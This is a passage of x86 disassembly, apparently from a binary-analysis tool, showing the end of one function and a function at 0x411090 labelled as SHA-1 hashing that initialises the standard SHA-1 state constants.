xor eax, eax
pop ebx
pop ebp
ret
Function at 0x411090
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x14], 0
mov dword [eax + 0x18], 0
mov dword [eax + 0x5c], 0
mov eax, 1
ret